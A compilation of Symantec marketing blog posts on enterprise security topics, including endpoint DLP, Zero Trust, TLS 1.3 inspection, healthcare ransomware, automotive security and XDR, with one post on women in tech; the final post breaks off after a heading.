Consider this important endpoint DLP scenario. A growing number of cloud services are implementing TLS with certificate pinning to secure communication with their users. As a result, traditional network-based security enforcement points (secure web gateways, firewalls, IPS systems, etc.) can no longer decrypt and scan traffic to these cloud services, rendering them effectively opaque. This means such enforcement points are unable to prevent users from uploading sensitive content to these cloud services, including content containing PII covered by various regulatory regimes.
That’s a noteworthy loophole for organizations concerned about issues such as losing control of their intellectual property, potential breaches of regulatory compliance or adherence to privacy laws.
Symantec DLP on the Endpoint
In past years, the rapid shift of enterprise apps from on-premises systems to cloud-based services has caused more sensitive data to become vulnerable to misplacement or accidental exposure by inexperienced cloud users. No doubt the cloud is now the most important data loss vector. Discovery can happen in several ways, but cloud services that implement certificate pinning prevent that discovery from occurring while data is in transit.
DLP enforcement often happens with data in motion—passing through a proxy or another network component, which sends it to DLP for scanning. While Symantec technologies support this workflow, we also believe it’s important to have an option to perform deep content inspection of all network communications to capture, analyze and if necessary block sensitive content at network egress points. In SASE architectures a lot of that enforcement and scanning is performed in transit as data moves from one location to another. Without an endpoint presence to augment inspections, however, some options are unavailable to SASE.
Symantec DLP provides comprehensive coverage from a single control point. It can monitor all activities and it knows the context and content of the file. It does not matter whether an application is using encryption or certificate pinning, because the DLP endpoint agent can comprehensively inspect the content before it is handed over to the application.
You Can’t Protect What You Can’t See
Symantec DLP has excellent content-aware detection capabilities, both on the endpoint and in the cloud, and this is a strength that cannot be overemphasized. This powerful detection enables the discovery of sensitive data—structured or unstructured—in virtually any location or file format. Content matching, which employs keywords, patterns and properties, along with exact data matching, (the detection of data through fingerprinting or indexing structured data sources) further enhance our leading detection capabilities.
As our customers' way of working have evolved, so has Symantec DLP. Smart devices make it so convenient to send images and PDFs, and Symantec DLP detects text embedded in images or PDFs. Of course, a key litmus test for these DLP capabilities is whether they can protect sensitive data without impacting the workflow of busy business users. Symantec enables organizations to extend DLP detection, policies and workflows to cloud apps through integration with Symantec CloudSOC (CASB).
Data-Centric SASE is the Future
SASE is predicted to grow “by more than a factor of five between 2020 and 2025,” reports Dark Reading. It is the new paradigm for cyber defenses. The article cites Chris DePuy, 650 Group founder and analyst, in a passage that states, “It’s difficult to go to a single vendor and get a full SASE system that works in conjunction with your existing security and networking systems.”
We are proud to offer customers an Integrated Cyber Defense strategy that helps them implement many aspects of a SASE system that provides enterprise grade network and data security controls. Armed with this intelligence, appropriate monitoring and data protection controls can be put in place, reducing the risk of sensitive data loss bypassing cloud based detection systems, and ultimately reducing your overall risk.
It may be tempting to believe that a SASE strategy is as simple as deploying a cloud secure web proxy—or even just a cloud firewall. However, as you consider the data protection risks, you realize you need a robust, encompassing solution to deliver on a data-centric SASE outcome.
Symantec SASE
|
Why You Need to Knock Down Technology Silos - Yesterday
Organizations risk jeopardizing their cyber security investments by ignoring the need for integration and context, now more than ever
Most enterprises have a traditional set of cyber tools such as data loss prevention (DLP), proxy, endpoint protection, and encryption – among others. The technologies are integrated with a SIEM tool to collect and use the data coming from them.
However, the technologies sit in silos and so only collect data based on their individual views of the world. As a result, disjointed data floods the SIEM, as analysts manually try to piece together what it all means and what they should do with that data. The upshot: Truly critical threats get missed. By the time analysts do piece together the paper trail for one threat, it’s only then that they realize it was not a high risk to the organization. Meanwhile the real threats have slipped by.
For example, a proxy tool would send a high-level alert if an employee visited a bad reputation website. But, that doesn’t necessarily mean there’s a threat. Analysts would not easily be able to connect the activity with the employee who was behind the IP address, the endpoint events that may indicate malware, or the beaconing activity that may indicate a command and control point.
To get the most bang for their buck, companies must focus on integration and context.
Additionally, they would not know if it was unusual for that employee to visit this particular site, nor if it was unusual for the employee’s peers and overall team to visit it. Nonetheless, analysts may treat the alert as an active threat, and potentially waste time investigating only to find out it was a false alarm.
On the other hand, analysts may ignore the alert, assuming it was innocuous, only to discover that it was one indicator of many of a greater breach. Or, maybe the employee typically visits the site as part of his personal social activities, which he happened to be doing at work that day, or maybe it is part of a nation state that has taken control of the company’s infrastructure. There’s no way to tell from individual events from silos, even if those events are pulled together in one place, like in a SIEM.
The siloed tool setup is a twofold problem – it causes critical threats to be overlooked, and it does not maximize the millions of dollars companies invest in their cyber security technologies. To get the most bang for their buck, companies must focus on integration and context. Each individual tool is good at what it was designed to do, however without context, such as the value of the asset at risk, and data from other tools in the environment, analysts cannot get a full picture of their cyber risk posture.
Lessons from WannaCry
Let’s take the WannaCry ransomware, for example. You may recall WannaCry was the most compelling ransomware event in 2017, hitting hundreds of thousands of computers worldwide by exploiting critical vulnerabilities in Windows computers. After the outbreak, many cyber security teams performed vulnerability scanning, found the exploitable applications and manually figured out who owned them. Then, those owners scheduled patching and deployed a patch to every vulnerable application in no prioritized order.
What’s more effective is connecting the dots between the scanning and endpoint protection tools, combined with understanding the value of the application at risk of a compromise, and the impact to the business if it were compromised. The full picture looks like this:
The endpoint protection tool fires off an alert saying the company may have WannaCry in its environment. The scanning tool shows which applications and machines are not patched for WannaCry. Contextual data is added showing which of those vulnerable applications are of high value, those that if compromised, would impact the business the most, and which application owner governs those assets.
For the applications of the highest value and that are vulnerable to WannaCry, the application owner would receive those vulnerabilities for immediate remediation. And, all of this would be automated. By integrating tools and adding context, analysts know exactly which threats and vulnerabilities to act on each day, and waste less time chasing down false positives and less impactful risks. After all, at the end of the day, the business problem in many companies when it comes to security is how much wasted time their limited security analysts spend following up on individual tool alerts that are not relevant nor critical to the business, all while leaving truly critical threats and vulnerabilities unattended.
So, what is needed to bring these siloed technologies together along with contextual information? Cyber risk analytics platforms, such as Symantec Information Centric Analytics (ICA), enable companies to do all of this. ICA brings together telemetry from individual tools, adds contextual information such as the value of the asset at risk, in addition to its proprietary user and entity behavior analytics (UEBA), to prioritize the threats and vulnerabilities that matter most. The platform automatically provides that information to the stakeholders in the business responsible for mitigation.
Integrating ICA and Traditional Tools
Here’s an example of how integrating ICA with traditional security tools makes them more effective and efficient. The GDPR became mandatory May 25, 2018. One of the main tenants of the regulation is that organizations must understand which data is sensitive, where that data is located, when it is being moved and any violations related to that data. DLP tracks when people move data that falls under the GDPR. ICA detects any unusual user activity related to that data and brings together that activity with data from DLP. By combining those two data sets along with contextual information such as the fact that the asset at risk is of high value and in the scope of the GDPR, ICA shows analysts that high value, GDPR-related data was about to be exfiltrated by someone who typically does not access that data, and therefore must be investigated immediately.
Many organizations have begun integrating security data and applying cyber risk analytics with their traditional cyber tools or are planning to do so soon. Cyber leaders are realizing it’s impossible for their limited team of analysts to tackle the volume of alerts coupled with amount of data flowing through countless devices and applications. They need something that brings data from their existing cyber tools together to allow them to see the forest from the trees and prioritize the alerts that are real and need immediate investigation.
If you found this information useful, you may also enjoy:
Symantec Information Centric Analytics
|
Why “Good Enough” Data Security No Longer Works
The cloud era has changed the way organizations must secure their data. The worst response is to settle for half measures
If you still assume that “good enough” data security is good enough in the era of cloud computing, think again.
Each day we read about more organizations looking to realize the operational efficiencies offered by cloud computing. But as they migrate their data to the cloud, they also need to make sure that their information remains safe. Yet that’s harder than it seems at first blush.
The same controls that IT managers might have put in place to guard sensitive data when everything was stored on premises - loss prevention controls, encryption, and firewalling - no longer apply in the cloud era.
Now a company’s information gets sent to a cloud infrastructure that they neither own nor manage. What’s more, data nowadays is constantly in transit and potentially vulnerable to attack or interception as it zips around and gets accessed by users connecting with a myriad of devices (some of which are secure, some less so.) For security practitioners, this presents new challenges that require planning to contend with a host of new contingencies.
And it’s anything but easy. Consider the following insights that research firm ESG turned up after surveying IT managers recently about their experience.
About 30% of an organization’s public cloud-resident data is categorized to be sensitive, and respondents believe it is insufficiently secured
About 50% of a company’s total data resides in public cloud and 50% on-premises
Over 90% of organizations store (now or within the next 12 to 24 months) sensitive data in more than one IaaS/PaaS platform
HIPPA regulations are considered to be the most difficult to comply with due to data being stored in a public cloud environment
Over 90% say users can gain access to an organization’s sensitive public cloud-hosted data using different types of devices
40% of organizations allow business partners access to their sensitive cloud-resident data
87% of respondents say that protecting cloud sensitive data affects their organization’s use of public cloud services
81% believe that on-premises data security is much more mature than public cloud infrastructure/application data security
82% prioritize the security of data that resides on systems/in applications running on-premises vs cloud
90% believe that managing data security processes and technologies has become more difficult over the past two years
The majority of respondents say discovery and classification of personally identifiable information is the most significant cloud data security challenge they face when it comes to addressing data privacy concerns and comply with regulatory requirements
One clear conclusion from the findings is the urgent need to take action. The last thing an organization can do is settle for half measures or put the question of cloud data security issue on the back burner, waiting until there’s a more convenient time. Now is the time to think about choosing a solid solution that will protect your enterprise’s information. Unnecessary delay will only court trouble down the road.
Even though you don't need to reinvent the wheel, don’t get lulled into believing that a good enough approach to the cloud will buy much more than partial protection and partial visibility into what’s going on with your data. Companies can’t leave this to chance, especially given the need to comply with a variety of stringent regulations both domestically and now in Europe with GDPR governing their treatment of customer data.
In the event that your customer data winds up getting exposed, the legal liability falls on you. That’s why it’s important to protect your data and not rely on the confusing claims issued by cloud data providers, who all contend that their environments are secure.
Your Game Plan
The goal should be to augment what you already have and work toward building unified and dedicated data protection strategy. As you go about the process of pulling everything together, keep the following points in mind:
Look for ways to supplement whatever the cloud service provider offers with additional security on top of what’s being supplied. Cloud providers can help but so can third-party security solutions companies. Unlike cloud providers, who don’t have a long track record here, these security-focused firms have long experience working in data protection and security technologies, intelligence networks and best-practices.
You don’t need to complicate things so simply adapt what you already have and extend the approach to cloud environments. For example, controls like data loss prevention cuts down on having to manage different places with different policies and different incidents to remediate. it all starts with detection, which must be very reliable. You can’t protect what you don’t see. Accuracy is key as well as you don’t want to deal with a sheer volume of false positives.
Look for opportunities to promote greater integration. At the end of the day, you’ll have better luck providing end-to-end protection if you can work off of a single console that offers a unified view into any clouds you use. You need a good third-party security tool to bring together those different environments.
Buy cheap, buy twice. If you choose a solution just because it’s the lowest cost option out there, don’t be disappointed what happens next.
If you found this information useful, you may also enjoy:
Learn more about Information-Centric Security
|
Wi-Fi Security Demands More than WPA3
By itself, deploying the latest encryption won’t be enough to guarantee the security of your wireless devices. Here’s what you should do
We all know what can happen when we use an unsecured Wi-Fi network -- anyone can see the data we’re sending and receiving. A Wi-Fi network must be encrypted, and it should have the latest, strongest encryption, WPA3. If it does, everything’s fine, right? You might have thought so until April 2019 when several WPA3 vulnerabilities came to light.
Granted, the vulnerabilities have been patched. But unless you know there will be no further weaknesses discovered in WPA3, it’s clear you should not rely solely on a wireless encryption protocol to protect your data. I recently caught up with Bruce McCorkindale, vice-president of technology and distinguished engineer at Symantec. If you want to understand how to secure devices on wireless networks, Bruce is your man. His advice: Implement WPA3 within a Zero Trust strategy.
Zero Trust starts with the assumption that you can’t trust your network or the endpoints on it. That means doing away with the idea that your network has a perimeter that can be secured, and assuming that compromise might have – and probably has -- already occurred. “When you’re at work, treat it like you’re at Starbucks,” says McCorkindale.
Zero Trust starts with the assumption that you can’t trust your network or the endpoints on it.
If you’ve been reading up on Zero Trust, you realize there is no such thing as a Zero Trust product per se. Zero Trust is a strategy that has been embraced by standards and advisory organizations. For example, NIST has developed its Cyber Security Framework with Zero Trust principles in mind (although Zero Trust is not mentioned by name in the framework.) Forrester has created its Zero Trust framework that it encourages its clients to implement. And Gartner has done something similar in its CARTA framework. You can start with any of these frameworks, but the end result will consist of technologies and methods you select, tailored to your own organization’s distinct needs.
Zero Trust strategies implement layered defense, or defense-in-depth, not a new concept by any means. No single piece of your strategy will be absolutely secure, but the combination of all the measures together will create a defense that will be very difficult to penetrate. For Wi-Fi networks, McCorkindale recommends these essential layers:
Transport Layer Security (TLS). TLS is an IETF standard and the successor to SSL. TLS 1.3, completed in 2018, is faster and more secure than its predecessor.
VPN. Establishing a VPN connection creates a tunnel in which traffic is encrypted using protocols such as IPSec.
Multi-factor authentication. The combination of two or more of the following: What a user knows (password), what a user has (security token) and what the user is (biometric factor).
It’s important to use these measures in combination, beginning with TLS, then adding VPN and multifactor authentication. Experience has shown that traditional passwords just don’t cut it. If a bad actor obtains a user’s credentials, all the encryption in the world won’t matter. He or she will simply enjoy encrypted access to your corporate data.
Enterprise Zero Trust implementations often go further, including technologies such as User and Entity-Based Analytics (UEBA), that analyze the behavior of users and devices to detect suspicious anomalies. And Micro-segmentation might be implemented to limit the ability of users to access applications and for applications to talk to each other.
Symantec Technologies
You can implement a Zero Trust defense of your Wi-Fi traffic by stocking your arsenal with several key Symantec products. Most important are Norton Mobile Security (for consumers), SEP Mobile (for enterprises), and Norton Secure VPN products.
Both SEP Mobile and Norton Mobile Security for iOS can detect when a user is on an insecure Wi-Fi network and automatically launch a VPN connection on the user’s mobile device. NMS will also do you the favor of telling you whether your OS is out of date. This is an important feature, since many breaches result from users neglecting to update their endpoint systems and routers with the latest OS versions and security patches.
Symantec also offers VIP Security Keys, devices that plug into a USB port to enable users to verify who they are by tapping a finger. The VIP Security Keys implement the Universal 2nd Factor (U2F) standard, a protocol specified by the FIDO Alliance, a non-profit organization that is developing standards for authentication devices. VIP is also available as a mobile app that issues soft tokens.
After you implement WPA3 and these Zero Trust measures, will it be safe to relax? Um, no. Adhering to the practices above will make your defenses significantly more robust. But any security strategy is a work in progress and it’s only as effective as your own dedication to carrying it out. Forget to update your router software and you’ve created a weakness that will render the rest of your defense little more than a cyber Maginot Line. To paraphrase a famous quotation, the price of data security is eternal vigilance.
|
Will a New Security Protocol Also Mean New Security Worries?
Symantec’s Mark Urban says organizations should prepare for the arrival of the new TLS 1.3 standard now to avoid having to make difficult trade-offs later on
Are you ready for the latest version of Transport Layer Security? You better be because after 4 years of fits and starts, the internet’s most important security protocol is about to win ratification by the Internet Engineering Task Force.
The TLS protocols were put in place years ago to secure network communications and support everything from e-commerce to email. The arrival of a new encryption standard should offer substantially more security and performance benefits.
But TLS 1.3, as it’s called, also raises myriad questions for IT. In fact, as Symantec’s vice president of product strategy and operations, Mark Urban, warns, better encryption could also mean weaker security - if you're not careful.
Writing recently in Dark Reading, Urban says “the time to prepare for the new standard is now” in order to “avoid having to make trade-offs involving user experience, encryption strength, and inspection capabilities” down the road.
Urban notes that adoption will vary by geography, industry, and business model. He wrote that industries relying on high Web traffic may be slower to adopt the new standard out of concern not to turn away site visitors using unsupported browsers. By contrast, he wrote, other companies, particularly in highly regulated industries, may insist on higher levels of security protection when their employees interact with external sites, send email, or transfer files.
At the same time, there are also other factors to consider before adopting the standard, according to Urban. "In fact, many organizations already have existing network security architectures in place that are fine-tuned to deal with current conditions and changing the strength of encryption can create challenges.”
But pulling off secure sessions without compromising protections offered by existing network security tools gets tricky. Urban noted that encryption hides the traffic it is designed to inspect. Unfortunately, that also presents potential vulnerability since encrypted traffic, whether it is private data or malware, is all hidden from most standard security systems.
Any companies with network security tools in place that are not inspecting traffic should be candidates for risk assessments.
“A straightforward and effective way to avoid being blinded to malicious traffic is with an encrypted traffic management application that physically (or virtually) resides within the network and facilitates a view of decrypted traffic to a wide variety of security tools. However, what many have found is that the security solutions that allow SSL visibility and enable security inspection vary greatly in their ability to provide visibility while simultaneously maintaining the privacy and security integrity of the session.”
Any companies with network security tools in place that are not inspecting traffic should be candidates for risk assessments. According to Urban, they ought to “develop a plan to create secure and compliant inspection of potential hidden threats. It's also important to engage cross-functional partners early (including network, security, and compliance teams) to be sure that the plan addresses any encryption blind spots.”
And if your organization already has an inspection capability in place?
“Determine if the current solution meets requirements for secure decryption for earlier SSL/TLS protocols. Organizations will need to inspect less-secure traffic (e.g., TLS 1.2), and it's important they do so without introducing new security risks.”
You can read Urban’s full post here.
If you found this information useful, you may also enjoy:
White Paper: The Impact of TLS 1.3
Webinar: TLS 1.3: The future is encrypted. Are your network security tools ready?
|
With Healthcare Under Constant Ransomware Attack, Experts Advise Just Say No
Paying ransoms simply fund further extortion
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
It’s time to stop paying ransoms to criminal organizations that lock up vital corporate data, two experts urged healthcare organizations attending a panel discussion at the RSAC 2021 Conference on Monday.
“As long as we keep paying them as a society, we’re the venture capitalists for the next incident,” said Caleb Barlow, CEO of CynergisTek who added that the recent $5 million ransom paid by Colonial Pipeline will simply fund more hacker development teams to extort other companies.
Co-panelist Robin Ford, manager information systems security Palomar Health, agreed. “Ransoms are enticing the bad guys to keep on [hacking].” As well, paying a sanctioned entity causes big problems. “You can break federal laws.”
It’s time to stop paying ransoms to criminal organizations that lock up vital corporate data, two experts urged healthcare organizations attending a panel discussion at the RSAC 2021 Conference on Monday.
Barlow acknowledged that refusing ransoms is difficult. Healthcare organizations are now facing more incursions from ransomware hackers with more advanced tools. Most target electronic health records. In the past, black hats would sell the information on the dark web or place records in a nation-state repository for later use, said Barlow. That didn’t cause down time.
Not anymore. Hospitals generate an ocean of record data. Ford recalls one provider had enough paper after a two-week IT down period to fill an entire conference room floor to ceiling. Often attacks take down an organization for four to six weeks.
The key is preparation, said Barlow. That includes formulating detailed play books to handle a potential ransomware breach. Many hospitals fall short. “Who’s in charge?” he asked. “It’s never really clear. Organizations that are resilient limit the impact of when you are breached so that not only can you get back up and running faster but you can make and process through those decisions.”
Ford reports she’s seeing more phishing attacks on the C-suite and financial departments. “You need to start thinking about not just your vendors but other companies you might communicate with. When people are finally attacked, they may already have had the bad stuff in their environment before they’re locked out. Maybe you’ve already got the infection.”
As well, pandemic-related telehealth has opened vast new avenues to hackers. Barlow explains these sessions are often not held on applications designed for it but on less secure platforms like Zoom. “People have been cobbling stuff together to get things done. Now go back and do a compromise assessment.” Ford strongly recommends doing those screenings on enterprise software and not free versions.
Ford reports she’s seeing more phishing attacks on the C-suite and financial departments.
Attackers are getting more ambitious. Earlier ransomware incursions were usually an organized crime outfit pulling a one-off. “Now they’re targeting entire systems and cause mass disruptions,” said Barlow. “You can’t insure your way out of it.” New on the scene are so-called triple extortions where a hacker locks up data while threatening to both release it and tell patients about the breach. “This is a new level of scumbag,” he said.
Most companies now depend on cyber security insurance to cover such unfortunate events. But the cost is skyrocketing while underwriters are limiting the situations they will cover. It’s easy to get left holding the bag.
“Sixty-six percent of America’s hospitals cannot pass a NIST security assessment at level 3 or above,” said Barlow. “They are investing in security but not fast enough.”
|
With Zero Trust Security, No One Gets a Pass in The Network
Zero Trust is the future of enterprise security, offering government agencies the potential to substantially change and improve their abilities to protect systems and data
If yesterdays’ networks were like houses where there are only a handful of entrances and a handful of people with keys to those entrances, “today’s networks are more like apartment buildings, with constant internal traffic offering potential access to each unit,” according to The Defense Innovation Board’s (DIB) recent report, The Road to Zero Trust (Security).
Government networks continue to grow and are increasingly complex with a myriad of desktops, laptops, mobile devices and apps relying on them. Adding more complexity to the mix are hybrid IT environments in which agencies manage on-premises IT systems that must interact with workloads in multi-cloud infrastructures. Multi-cloud infrastructure environments open new challenges as security operation teams struggle to manage a highly fragmented set of security and compliance controls. This new reality is stretching the traditional perimeter-based cyber security approaches to the breaking point.
Multi-cloud infrastructure environments open new challenges as security operation teams struggle to manage a highly fragmented set of security and compliance controls.
“Networks have become widely dispersed across a complex web of connections to outside servers and other networks, with larger numbers of ‘tenants’ and a growing number of entry/exit points,” the DIB report states. Perimeter security is more expensive now because the attack surface has expanded and more firewalls with complex filtering capabilities are required to protect networks.
Additionally, cyber criminals and adversaries are always working to come up with creative methods of getting around perimeter security. Social engineering attacks that manipulate users into giving away their credentials is a primary path by which adversaries gain access to IT assets.
What’s more, as the DIB report points out, security of the network continues to decrease as regular usage creates new vulnerabilities. For this reason, most security experts say agency managers should assume that the network is compromised and take a more targeted approach to security.
How Zero Trust helps solve today’s perimeter security challenges
Zero Trust is based on the principle that organizations need to proactively control all interactions between people, data, and information systems to reduce security risks to acceptable levels. What that means is with Zero Trust, no one gets a free pass anywhere on the network.
As Symantec’s 2019 Cloud Security Threat Report notes, “Old-school security approaches authenticate and determine trust for users at the network’s edge, allowing entrance to those who meet the criteria. Zero Trust models a micro-segmented approach with granular protections applied to the data, and controls implemented at all points of access, including mobile devices, cloud workloads and corporate networks.”
Data within the micro perimeters is classified based on sensitivity, and the architecture accounts for continuous change, allowing access rights to be modified based on behavioral risk scores and device type, among other factors.
Giving blind trust to users and devices inside the perimeter of a network is not sustainable and will continue to put national security information and operations at risk until it is resolved, the DIB report notes.
For these reasons, the concept of a Zero Trust-based approach is gaining credence in the federal IT community. Most notably, the Air Force has identified Forrester’s Zero Trust eXtended Framework as one of the pillars of its Enterprise IT as a Service initiative. Also, the Federal CIO Council asked ACT-IAC to provide a whitepaper on Zero Trust and its potential role in the federal government, and the DIB has provided a detailed report on how the defense community can apply Zero Trust and a defense-in-depth security approach to protect internal networks and those that extend to remote locations and the battlefield.
Strong Data Foundation
The purpose of a Zero Trust architecture is to protect data. Consequently, agency managers need a clear understanding of their data assets before they can successfully implement a Zero Trust architecture, according to ACT-IAC. To that end, agencies need to categorize their data assets in terms of mission criticality and use this information to develop a data management strategy as part of their overall Zero Trust approach. Moreover, the federal government’s push toward IT and network modernization gives CIOs the opportunity to perform network audits to gain better insight into how the many apps, systems and mobile devices rely on their current networks to better understand how to map them to future Zero Trust-based networks.
Zero Trust is the security model of the future. It is imperative for federal agencies to prepare for this new world of cyber security now.
For additional information on Zero Trust Security click here.
|
Women in Tech
A candid conversation is happening at RSA about why the numbers of women in tech are low
I am a woman in the technology industry. There aren’t many of us.
When, I started as an office manager for a technical publications department, I didn't know code language from Greek. My company needed someone to postscript, process, and move large files around in UNIX. I was lucky enough to be sat in front of a UNIX box and a Windows machine and simply told to "learn, and learn quickly."
Although I had no prior experience, I did have an agile mind and a great passion for learning. It set me off on a career in tech where I went on to master many disciplines of coding. The point is, I was given an opportunity as a young woman that I otherwise would never have sought out on my own.
Looking through this year's RSA catalog, I see a few sessions run by women talking about their role in technology. The statistics haven't changed much over the years. For example, in the area of cyber security, just 11% of personnel are women these days. I learned this while attending a panel session of three women working in cyber security who were once part of the 8200 Unit, Israel's famed military intelligence unit. In Israel, women comprise 25% of the tech industry. Although the percentage is far from parity, it’s still well over the global average. Of the women in Israel who work in cyber security, 58% of them were part of the 8200 Unit.
What are Israel and the 8200 Unit doing to inspire so many women into a tech career? The answers follow my own personal experience – opportunities are given to young women based on their leadership and communication attributes.
None of the women recruited for the 8200 Unit have to know code. They are not avid gamers, geeks, or weekend hackers. Young people are given tests while still in secondary school that assess their decision-making and analysis abilities, among other attributes that show they can handle pressure and communicate effectively. Then these young women are introduced to the fields of technology and often they flourish there.
What's more, these young women of eighteen and nineteen are instructed on how to take initiative, speak up and be heard, especially because someone's life may depend on their expert analysis and opinion. They are also paid an equal amount to their male counterparts. In the 8200 Unit, a position has a flat base of pay for everyone. Of course, when these women leave the 8200 Unit and enter the civilian work force their experience is much like the rest of ours around the world, but the start they had in both technology and leadership training made a significant difference in their careers.
Several audience members, both men and women, asked for advice from the panel on how to handle the double standards prevalent today in the tech industry. The advice was simple but sound: if you don’t have a mentor, find one. Guidance from a person who has the experience you seek is key, especially for women.
Often a woman walks into a room of strangers and must prove her credibility in her field, whereas a man can walk into the same room and his credibility is assumed. It’s important to afford women equal opportunities, but until that idea takes off what is really important is for women to learn how to grab the reigns of initiative and drive their own success.
Years ago, I was working as a contractor in a tech company and was approached with the opportunity to become a full-time employee. The hiring manager asked me to think about the position and to tell him the salary range I would expect. I can honestly say the idea of valuing myself scared me. I wasn’t sure how to approach the question of naming the salary I’m worth so I asked a colleague and friend for his advice. The mentoring he gave me was invaluable. He showed me how to do the market research for the job I would have in my city, state, and across the country – to look for comparable salaries. Then he helped me create a business case for asking high based on the merit of the work I’d been doing. It worked. I was hired at a higher salary than I had ever earned, and it’s a skill I use anytime I put myself forward for promotion or a new job.
Confidence, credibility, standing up for oneself all seem like simple concepts, but it can make all the difference in a woman’s career to be mentored, guided, and groomed in these areas. The women of the 8200 Unit see it in their lives, as I see it in mine.
Join Symantec at RSA Conference 2018 Booth #3901 North Expo Hall. Click Here for the schedule and follow @Symantec on Twitter for highlights.
|
Work with Us to Secure the Next Generation of Vehicles
The automotive industry ranks high among those most critically in need of cyber security—and among the most difficult to transform
Connected cars bring tremendous promise for automakers and customers alike. At the same time, connectivity brings new risks. Today’s cars have many more attack points—from the cloud-based and data center systems to which vehicles connect and the connection itself, to the various modules including the chips driving the modules and the bus protocols connecting them—than just a few years ago. Stolen cars and embarrassing online videos, although certainly a problem, pale compared to the potential hacking of entire fleets.
Building lasting, complete security into cars—protecting the entire ‘stack’ at every layer—will take years, especially given the complexity of spanning all supplier relationships. In the meantime, attackers continually seek to exploit the weakest links.
What End-to-End Security Looks Like
What’s needed is a trusted ecosystem of manufacturers, third-party suppliers, service providers, and regulatory bodies.
Comprehensive protection requires hardening critical modules, authenticating all code as authorized to run on the car, enabling ‘over the air’ (OTA) updates, and implementing security monitoring mechanisms. Automakers need to manage signing permissions for entire ecosystems of software developers and publishers, both internally and externally, and retain the ability to revoke signing capabilities as employees and partners come and go.
Factories need cyber security too—especially as manufacturing becomes increasingly connected and related threats continue to rise. Automakers can protect industrial control systems (ICS) with security that covers programmable logic controllers (PLC), automation equipment, and robotics.
Ready Today: Symantec Critical System Protection
Securing firmly established automotive architectures is challenging. So, while security vendors are developing long-term, complete vehicle cyber protection, we’re also providing near-term, more-focused fixes that are already proven effective. Some of these establish a security ‘beachhead’ in the car—usually by locking down the bigger compute platforms such as the vehicle ‘head unit.’
Our first contribution here is Symantec Critical System Protection, which we’ve adapted for the automotive industry from technology that currently protects countless financial transactions every day. Critical System Protection helps enforce whitelisting of good code and how that code is permitted to behave; it can also report anomalous behaviors to manufacturers in real time.
Critical System Protection is easy to build into head unit, in-vehicle infotainment (IVI), and 32-bit body control modules (BCMs) of most cars. Dealer OBD-II equipment can also use it to help prevent dealer diagnostic equipment from becoming an infection vector.
Automotive Network Security: Better All the Time
As I’ve said, protecting each module, supplier by supplier, will take time. So, some carmakers and communication service providers are aggressively updating network security for vehicles.
For instance, network proxies can deeply inspect all connections to and from the car, even inspecting encrypted traffic—going far beyond the security conferred by firewalls, intrusion detection, and intrusion prevention systems.
Such proxies come in both physical hardware and cloud-based security-as-a-service flavors and form factors. Suppliers support network-based security because it can inspect and protect all vehicle internet connections without forcing suppliers to modify their particular modules.
In some cases, network-based security can even help protect cars that have already shipped: A simple reconfiguration of the vehicle’s telecommunications unit ensures it connects to only trustworthy gateways capable of deeper, more effective inspection and protection.
Last, vehicles that boast stepped-up IVI systems with full web browsers can now similarly go to the next level of cyber security with full web threat isolation.
Benchmark Your Cyber Security
Automakers, it is crucial that you learn how the cyber security of your vehicles, or your components, compares to those of your competitors. You don’t want to miss out on taking a critical step or get caught at a disadvantage; this is true regardless of your experience or expertise in building security into vehicles. To stay ahead, we recommend you work with an experienced vehicle security consulting company—such as Symantec.
Symantec already protects over a billion IoT devices in other verticals. We’re adapting our unequaled portfolio of security technologies to the unique challenges of automotive security—and quietly, behind the scenes, we’ve begun building security into tens of millions of vehicles.
Brian will appear as an expert on the “The Cyber Threat Landscape in the Automotive and Trucking Sector” panel at the 2nd Billington Automotive Cybersecurity Summit, August 3, in Detroit.
If you found this interesting you may also enjoy:
Making Vehicles Secure by Design
Automotive Security
|
XDR: Aggregation and Analysis Overcome the Skills Gap
With cyber security expertise in short supply, consolidating telemetry data and applying ML analytics can keep your organization safe
Keeping your data safe is a big job and getting bigger all the time, so chances are you have deployed many cyber security tools. But do you have the skilled experts to manage all these tools – to keep them updated, to stay on top of their alarms and correlate their output? It’s not easy to find and keep qualified cyber security specialists -- and it’s unlikely to get any easier.
One of the best ways to cope with the cyber security skills gap is to make the experts you do have more efficient. That’s where Extended Detection and Response (XDR) comes in. Symantec Integrated Cyber Defense platform enables XDR, covering endpoint, network, and cloud workload protections, as well as sandboxing, threat intelligence and analytics. Integrated Cyber Defense simplifies and unites cyber security information to help your experts work faster and smarter.
As my Broadcom Symantec colleague Ryan Stolte explains, XDR builds on Symantec Endpoint Detection and Response (EDR), adding telemetry streams from multiple control points to provide a unified incident detection and response platform. XDR systems centrally store event data, actions and intelligence in a common format. That enables managers to study threat information in context, and correlate it across multiple systems, rather than receiving alerts from each system separately, which could easily overwhelm them with too much information.
And as Broadcom Symantec expert Javier Santoyo says, “XDR normalizes and correlates information to make your cyber security staff more efficient and effective in defending your organization.”
Identifying Unknown Threats
Once the telemetry is collected from across control points and normalized, Symantec, a division of Broadcom (NASDAQ: AVGO), takes a first pass at identifying unknown threats by comparing that intelligence against intelligence we collect through our Global Intelligence Network, or GIN, one of the largest civilian security threat intelligence networks in the world. Where does the GIN intelligence come from? Information is correlated from 175 million endpoints and more than 126 million attack sensors. Knowledge is correlated across seven research operations centers by more than 500 security experts, analyzing over nine Petabytes of security threat data.
If we can’t identify the threat from GIN intelligence, we then start a series of analysis to continually research and understand the threat. Some of those analyses include applying artificial intelligence and machine learning, behavioral analytics, targeted attack analytics, and even Symantec human experts. These resources enable us to discover and block advanced targeted attacks that would otherwise go undetected.
User and Entity-Based Analytics
It’s important for threat analysis to take a customer’s business context into consideration, not just alerting on unusual behavior, but prioritize remediation in terms of how risky that behavior is to the business. As an example, user and entity-based analytics (UEBA), studies user behavior patterns, searching for anomalies that might indicate suspicious activity.
For example, if an engineer is typically working from 8AM to 5PM, and that person downloads large files at 3AM, his or her activity would be flagged for review by security specialists. Because not all anomalous behavior is due to persons, studying “entities” is also important. Entities can include devices such as servers, desktops and mobile devices – and increasingly, the rapidly expanding multitude of Internet of Things (IoT) devices.
UEBA tools can also correlate normalized data across control-points, enabling the identification of high-fidelity alerts composed of different telemetry streams. This type of intelligence can then also direct response actions at the control points for enhanced protection and mitigation of the detected threat.
The ML-based UEBA system feeds its information into a SOC front-end tool such as an information-centric analytics (ICA) system or a security orchestration and response (SOAR) tool. A SOAR is a rules engine that coordinates responses to security information. Although you can perform this integration yourself using APIs, we let you use the tool of your choice by offering turnkey integrations with many partners.
Keeping Your Data Safe
